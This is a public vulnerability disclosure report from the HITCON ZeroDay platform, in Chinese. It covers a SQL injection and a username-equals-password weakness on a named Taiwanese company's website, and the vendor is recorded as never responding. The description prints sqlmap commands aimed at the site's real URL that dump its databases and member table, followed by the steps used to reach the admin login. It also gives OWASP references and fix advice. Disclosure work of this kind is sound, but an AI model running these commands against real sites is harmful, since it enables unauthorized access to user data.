Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-00359
- Vendor: 亞式特科技股份有限公司
- Title: 亞式特科技股份有限公司sql injection+weak password=Get backend management rights
- Introduction: sql injection
處理狀態
目前狀態
公開
Last Update : 2024/06/14
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2024/04/14 00:30:32 : 新提交 (由 郑. 更新此狀態)
- 2024/04/14 22:18:32 : 新提交 (由 郑. 更新此狀態)
- 2024/04/15 12:23:49 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/05/06 14:17:40 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/05/06 14:17:40 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/05/06 14:17:40 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/06/14 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-00359
- 通報者:chengyunpu (郑.)
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://ascentektw.com/admin/news/front/index2.php?id=10
https://ascentektw.com/admin/index.php
https://ascentektw.com/admin/index.php
敘述
payload:
sqlmap -u "https://ascentektw.com/admin/news/front/index2.php?id=10" --dbs --batch
sqlmap -u "https://ascentektw.com/admin/news/front/index2.php?id=10" -D choiceo2_ascente --tables --batch
sqlmap -u "https://ascentektw.com/admin/news/front/index2.php?id=10" -D choiceo2_ascente -T member --dump --batch
以上屬於sql injection
接下來看到dump member的結果了嘛!
資料只有兩筆,猜測應該是給後端登入使用的
通靈一下找到/admin/index.php便嘗試登入
發現username 跟 userpass既然是一樣的,因此成功登入後端( meber 第一筆資料)
攻擊者可以任意修改、增減、上傳網站內容,甚至可以把原本網站持有者帳密改掉
修補建議
對使用者輸入的資料進行驗證和過濾
使用參數化查詢而不是直接將使用者輸入的資料嵌入到 SQL 查詢語句中
就算被sql injection 、而且dump出來password 還是hash,本來爆破hash很久想放棄了,後來想說試試看會不會username the same as password結果真的是如此,也因此千萬不要把username和password設為一樣
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。